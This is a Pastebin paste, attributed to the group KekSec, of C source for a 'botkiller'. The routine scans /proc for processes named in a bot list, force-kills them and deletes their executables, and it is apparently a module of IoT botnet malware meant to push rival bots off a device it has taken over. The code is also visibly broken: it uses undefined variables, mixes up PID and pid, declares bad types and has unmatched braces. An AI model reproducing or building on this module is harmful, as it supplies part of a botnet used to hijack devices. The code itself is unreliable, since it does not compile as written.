KekSec

Freak/Synthmesc's epic botkiller :D

Mar 8th, 2017
664
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 2.91 KB | None | 0 0
  1. pid_t proc_find(const char* name)
  2. {
  3.     DIR* dir;
  4.     struct dirent* ent;
  5.     char* endptr;
  6.     char buf[512];
  7.  
  8.     if (!(dir = opendir("/proc"))) {
  9.         perror("can't open /proc");
  10.         return -1;
  11.     }
  12.  
  13.     while((ent = readdir(dir)) != NULL) {
  14.         /* if endptr is not a null character, the directory is not
  15.          * entirely numeric, so ignore it */
  16.         long lpid = strtol(ent->d_name, &endptr, 10);
  17.         if (*endptr != '\0') {
  18.             continue;
  19.         }
  20.  
  21.         /* try to open the cmdline file */
  22.         snprintf(buf, sizeof(buf), "/proc/%ld/cmdline", lpid);
  23.         FILE* fp = fopen(buf, "r");
  24.  
  25.         if (fp) {
  26.             if (fgets(buf, sizeof(buf), fp) != NULL) {
  27.                 /* check the first token in the file, the program name */
  28.                 char* first = strtok(buf, " ");
  29.                 if (!strcmp(first, name)) {
  30.                     fclose(fp);
  31.                     closedir(dir);
  32.                     return (pid_t)lpid;
  33.                 }
  34.             }
  35.             fclose(fp);
  36.         }
  37.  
  38.     }
  39.  
  40.     closedir(dir);
  41.     return -1;
  42. }
  43.  
  44. char* getexename(pid_t pid)
  45. {
  46.     char *buf[128];
  47.     char linkname[64]; /* /proc/<pid>/exe */
  48.     pid_t pid;
  49.     int ret;
  50.  
  51.     if (snprintf(linkname, sizeof(linkname), "/proc/%i/exe", pid) < 0)
  52.         {
  53.         /* This should only happen on large word systems. I'm not sure
  54.            what the proper response is here.
  55.            Since it really is an assert-like condition, aborting the
  56.            program seems to be in order. */
  57.             return NULL;
  58.         }
  59.  
  60.  
  61.     /* Now read the symbolic link */
  62.     ret = readlink(linkname, buf, size);
  63.  
  64.     /* In case of an error, leave the handling up to the caller */
  65.     if (ret == -1)
  66.         return NULL;
  67.  
  68.     /* Report insufficient buffer size */
  69.     if (ret >= size)
  70.         {
  71.         errno = ERANGE;
  72.         return NULL;
  73.         }
  74.  
  75.     /* Ensure proper NUL termination */
  76.     buf[ret] = 0;
  77.  
  78.     return buf;
  79. }
  80.  
  81. void botkill() {
  82.     int i, status;
  83.     pid_t pid = -1;
  84.     char *botLocation[128];
  85.     char *command[137];
  86.     for (i = 0; i < NUMITEMS(Bot_Killer_Binarys); i++) {
  87.         printf("Scanning for bot %s\n", Bot_Killer_Binarys[i]);
  88.         pid = proc_find(argv[i]);
  89.         if (pid == -1) {
  90.             printf("%s: not found\n", argv[i]);
  91.         } else {
  92.             printf("Killing bot %s PID %d\n", Bot_Killer_Binarys[i], PID);
  93.             kill(PID, 9);
  94.             botLocation = getexename(PID);
  95.             if(botLocation != NULL) {
  96.                 printf("%s found at %s. Deleting...\n", Bot_Killer_Binarys[i], botLocation);
  97.                 status = remove(botLocation);
  98.                 if( status == 0 )
  99.                     printf("Bot %s deleted successfully.\n", botLocation);
  100.                 } else {
  101.                     printf("Unable to delete bot %s.\n", botLocation);
  102.                 }
  103.             }
  104.         }
  105.     }
  106. }
Advertisement
Add Comment
Please, Sign In to add comment